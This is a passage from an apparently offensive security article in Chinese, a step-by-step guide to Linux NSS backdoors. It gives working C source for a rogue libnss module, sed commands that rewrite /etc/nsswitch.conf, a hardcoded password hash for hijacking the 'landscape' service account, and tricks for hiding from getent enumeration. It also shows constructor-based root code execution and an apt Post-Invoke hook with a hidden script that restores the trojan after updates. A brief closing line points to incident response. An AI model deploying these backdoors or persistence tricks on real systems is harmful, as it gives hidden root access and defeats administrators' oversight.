# 修改 nsswitch.conf,将 nop 放在 files 前面
# 注意:passwd、shadow、group 三项都需要添加 nop
sudo sed -i 's/^passwd:.*/passwd:         nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^shadow:.*/shadow:         nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^group:.*/group:          nop files systemd/' /etc/nsswitch.conf

验证

成功实现复用系统服务账户,并且做到 su 和 ssh 完全可用

而且 getent passwd 和 getent passwd landscape 结果是不一样的:

这意味着管理员执行 getent passwd 排查时,看不出任何异常。只有精确查询 getent passwd landscape 才能看到修改后的 shell。关于遍历接口的详细分析见 6.4 节。

与 0x04/0x05 方式的对比

对比项

0x04 新增数据源

0x05 替换模块

6.3 复用服务账户

用户名

backdoor

(可疑)

backdoor

(可疑)

landscape

(正常)

/etc/passwd

 中存在

✅ 完全正常

SSH 日志可疑度

高(未知用户)

高(未知用户)

低(已知服务账户)

sudo 提权

✅ 可加 sudo 组

✅ 可加 sudo 组

✅ 通过 initgroups_dyn 注入

修改 nsswitch.conf

追加到末尾

不需要

放到 files 前面

UID/GID

自定义

自定义

必须保持原始值

核心结论:复用服务账户在 SSH 日志隐蔽性上具有明显优势——landscape 是系统合法用户,登录日志可能不会引起怀疑(严谨的安全人员仍可能发现异常)。同时通过 initgroups_dyn 注入 sudo 组,SSH 登录后可以直接提权到 root。

6.4 隐藏后门用户——遍历接口屏蔽

在 6.3 的实验中,我们发现了一个有趣的现象:getent passwd(遍历)和 getent passwd landscape(精确查询)返回的结果不同——遍历显示原始的 /usr/sbin/nologin,精确查询显示修改后的 /bin/bash

本节将深入分析这个现象背后的原理。

NSS 的两种查询模式

NSS 对用户信息的查询有两种不同的接口:

接口

函数

用途

触发场景

精确查询

_nss_*_getpwnam_r

按用户名查找

id backdoor

ssh backdoor@targetsu - backdoor

精确查询

_nss_*_getpwuid_r

按 UID 查找

ls -l

 显示文件所有者

遍历查询

_nss_*_getpwent_r

遍历所有用户

getent passwd

遍历控制

_nss_*_setpwent

 / _nss_*_endpwent

开始/结束遍历

getent passwd

 内部调用

关键区别在于:精确查询是"按需查找",遍历查询是"逐条枚举"。两者使用完全不同的函数入口。

为什么 6.3 的遍历看不到修改

6.3 的 nop 模块只实现了四个精确查询函数(getpwnam_rgetpwuid_rinitgroups_dyngetspnam_r),没有实现 getpwent_r

当 glibc 执行 getent passwd(遍历)时:

getent passwd → 遍历每个数据源
  │
  ├─ nop → 查找 _nss_nop_getpwent_r → 符号不存在 → 跳过
  │
  ├─ files → 遍历 /etc/passwd → 返回所有原始记录
  │
  └─ systemd → 遍历动态用户 → 返回结果

nop 模块被跳过了,所以遍历只看到 files 的原始数据。这是一个"不实现即隐藏"的效果。

如果实现了 getpwent_r 会怎样

如果 nop 模块实现了 getpwent_r 并在其中注入后门数据,getent passwd 就会显示修改后的 landscape/bin/bash),暴露后门。

如果 nop 模块实现了 getpwent_r 但不注入后门数据(只透传或直接返回 NOTFOUND),遍历结果仍然正常。这就是"显式屏蔽"——实现函数但控制其行为:

enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
return NSS_STATUS_NOTFOUND;
}
enum nss_status
_nss_nop_setpwent (int stayopen)
{
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
return NSS_STATUS_SUCCESS;
}

结论

策略

getent passwd

(遍历)

getent passwd landscape

(精确)

隐蔽性

不实现 getpwent_r

显示原始数据 ✅

显示修改后数据 ✅

实现 getpwent_r 但不注入

显示原始数据 ✅

显示修改后数据 ✅

实现 getpwent_r 并注入

显示修改后数据 ❌

显示修改后数据 ✅

低(暴露)

6.3 的实现采用了第一种策略(不实现 getpwent_r),已经达到了最佳隐蔽效果。对于 0x05 方式(替换 systemd 模块),情况也类似——5.3 的木马同样没有实现 _nss_systemd_getpwent_r,遍历时 glibc 跳过该模块,后门用户自然不出现在遍历结果中。

这实际上揭示了一个有趣的规律:NSS 后门天然具备遍历隐藏特性——只要木马模块不主动实现 getpwent_r,后门用户就不会出现在 getent passwd 的遍历输出中。

6.5 constructor 代码执行

前面 0x04~6.4 的所有后门都是在 NSS 查询函数中返回伪造数据。但回顾 0x03 的源码分析,glibc 通过 dlopen() 加载 NSS 模块时,.so 中的 __attribute__((constructor)) 函数会自动执行——这就是 0x01 中 CVE-2025-32463 获取 root shell 的原理。

这个机制完全可以用作独立的后门手段:构造一个只含 constructor、不实现任何 NSS 函数的 .so,当任何进程触发该模块加载时,constructor 以该进程的权限自动执行。

验证:

#include<stdio.h>
#include<unistd.h>
__attribute__((constructor))voidon_load(void)
{
    FILE *f = fopen("/tmp/nss_constructed""a");
if (!f) return;
fprintf(f, "uid=%d pid=%d\n", getuid(), getpid());
    fclose(f);
}
gcc -shared -fPIC -o libnss_nop.so.2 nop.c
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
sed -i 's/^passwd:.*/passwd:         nop files systemd/' /etc/nsswitch.conf

部署后随便执行一条会触发 NSS 查询的命令:

文件被创建,constructor 确实以当前进程的权限执行了。如果触发进程是 sshdsudocron 等以 root 运行的服务,constructor 就以 root 权限执行——可以写入 /root/.ssh/authorized_keys、修改 /etc/sudoers.d/、创建 cron 定时任务等。

constructor 与数据劫持是两个独立的攻击维度,可以共存于同一个 .so 中:constructor 负责"一次性"动作(如植入后门),NSS 查询函数负责"持续性"动作(如伪造用户数据)。

6.6 密码可配置化

当前所有后门模块都有一个共同的限制:密码哈希和用户名硬编码在源码中。每次更换密码或用户名都需要重新编译 .so 文件,这在实战中极不方便。

改进方案:将后门配置(用户名、密码哈希、UID/GID)存储在外部文件中,模块在运行时读取。

配置文件设计

选择一个不引人注意的路径存放配置文件,例如 /var/lib/systemd/.nss_cache(混入 systemd 的数据目录中,不容易被注意到):

landscape:$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0:107:109:27

格式为 用户名:密码哈希:UID:GID:sudo组GID

代码实现

在 6.3 的 nop 模块代码基础上,将硬编码的宏定义替换为全局变量,并添加 __attribute__((constructor)) 在模块加载时读取配置文件:

#define CONF_FILE "/var/lib/systemd/.nss_cache"
staticchar cfg_user[64] = "landscape";
staticchar cfg_hash[256] = "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0";
staticint cfg_uid = 107;
staticint cfg_gid = 109;
staticint cfg_sudo_gid = 27;
__attribute__((constructor))staticvoidload_config(void)
{
    FILE *f = fopen(CONF_FILE, "r");
if (!f) return;
char line[1024];
if (fgets(line, sizeof(line), f))
    {
char *saveptr = NULL;
char *tok;
        tok = strtok_r(line, ":\n", &saveptr);
if (tok) strncpy(cfg_user, tok, sizeof(cfg_user) - 1);
        tok = strtok_r(NULL":\n", &saveptr);
if (tok) strncpy(cfg_hash, tok, sizeof(cfg_hash) - 1);
        tok = strtok_r(NULL":\n", &saveptr);
if (tok) cfg_uid = atoi(tok);
        tok = strtok_r(NULL":\n", &saveptr);
if (tok) cfg_gid = atoi(tok);
        tok = strtok_r(NULL":\n", &saveptr);
if (tok) cfg_sudo_gid = atoi(tok);
    }
    fclose(f);
}

其余函数(getpwnam_rgetpwuid_rinitgroups_dyngetspnam_r)与 6.3 完全一致,只需将硬编码的宏替换为 cfg_* 变量:

// 6.3 原始(硬编码)
if (strcmp(name, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
// 6.5 改为(可配置)
if (strcmp(name, cfg_user) != 0)
return NSS_STATUS_NOTFOUND;

关键特性

  1. __attribute__((constructor)):模块被 dlopen 时自动执行 load_config(),无需手动调用

  2. 配置文件不存在时使用默认值:即使配置文件被删除,模块仍以编译时的默认值工作

  3. 配置文件路径隐蔽/var/lib/systemd/.nss_cache 混入 systemd 的数据目录中,不容易被注意到

部署与使用

# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop_configurable.c
# 创建配置文件
sudo mkdir -p /var/lib/systemd
echo'landscape:$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0:107:109:27' | \
    sudo tee /var/lib/systemd/.nss_cache
sudo chmod 600 /var/lib/systemd/.nss_cache
# 部署
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/libnss_nop.so.2
sudo sed -i 's/^passwd:.*/passwd:         nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^shadow:.*/shadow:         nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^group:.*/group:          nop files systemd/' /etc/nsswitch.conf

更换密码时,只需修改配置文件,无需重新编译:

# 生成新密码哈希
NEW_HASH=$(openssl passwd -6 -salt newsalt anotherpassword)
echo"landscape:${NEW_HASH}:107:109:27" | sudo tee /var/lib/systemd/.nss_cache

注意:根据 6.1 的热加载实验,dlopen 加载模块后,constructor 只执行一次。修改配置文件后,需要触发模块重新加载才能生效。由于 sshd 等服务采用 fork 模型,子进程通过 fork() 继承父进程的整个地址空间(包括已加载 .so 的 mmap 映射和全局变量状态),因此不会重新执行 dlopen 和 constructor。也就是说,已运行的 sshd 主进程及其 fork 出的所有子进程,使用的都是 constructor 首次执行时读取的配置。因此修改配置后,需要重启 sshd 服务(或其他目标服务)才能使新配置生效——重启后新主进程重新加载模块,constructor 读取最新的配置文件。

6.7 持久化——抵御系统更新覆盖

0x05 方式有一个固有的风险:apt upgrade 更新 libnss-systemd 包时,会用正版 .so 覆盖木马模块,后门自动失效。 刚好,当前系统的 libnss-systemd 有更新,天意啊

我们先按照 0x05 方式创建好后门环境(每次实验结束后会还原快照)

方案一:apt-mark hold

最简单的方式是锁定包版本,阻止系统更新:

sudo apt-mark hold libnss-systemd

验证(注意:apt list --upgradable 不受 hold 影响,即使 hold 生效仍会显示可升级,应使用以下命令验证):

apt-mark showhold
dpkg --get-selections libnss-systemd
sudo apt upgrade --dry-run 2>&1 | grep -A1 "kept back"

缺点

  1. apt-mark showhold 会列出所有被锁定的包,管理员一眼就能发现异常

  2. hold 只能阻止 apt upgrade(不带包名)的升级。当管理员显式指定包名时(如 apt upgrade libnss-systemd 或 apt install libnss-systemd),apt 会提示 "The following held packages will be changed" 然后强制升级,hold 被绕过。

方案二:apt Post-Invoke 钩子

更隐蔽的方式是利用 apt 的 DPkg::Post-Invoke 钩子,在每次 apt 操作后自动重新部署木马模块。

创建钩子文件:

sudo tee /etc/apt/apt.conf.d/99nss-update <<'EOF'
DPkg::Post-Invoke { "/usr/local/bin/.nss_restore"; };
EOF

创建恢复脚本(隐藏为系统维护脚本):

sudo tee /usr/local/bin/.nss_restore <<'SCRIPT'
#!/bin/bash
TROJAN="/var/lib/systemd/.nss_trojan"
TARGET="/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2"
if [ -f "$TROJAN" ]; then
    cp -f "$TROJAN""$TARGET"
    chmod 755 "$TARGET"
fi
SCRIPT
sudo chmod 755 /usr/local/bin/.nss_restore

预先备份木马模块:

sudo cp /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2 /var/lib/systemd/.nss_trojan

这样即使 apt upgrade 覆盖了木马模块,Post-Invoke 钩子也会在 apt 操作完成后立即恢复。

可以看到,无论是升级还是重装软件包,后门均有效。

进一步可以结合 6.2 等内容,绕过 debsums 等实现更加精细化的后门。

总结

本文总结了 NSS 以及其相关的后门技术,NSS 可以控制的内容较多,结合 64 个方法以及 constructor 能做的事就太多,可以再后门方面玩出各种花样

从应急响应的角度说, NSS 是一个容易忽视的内容,相信大家看到这里以后已经有了相关认知,在后续的应急响应以及红队行动中有所注意

往期文章

跳转微信打开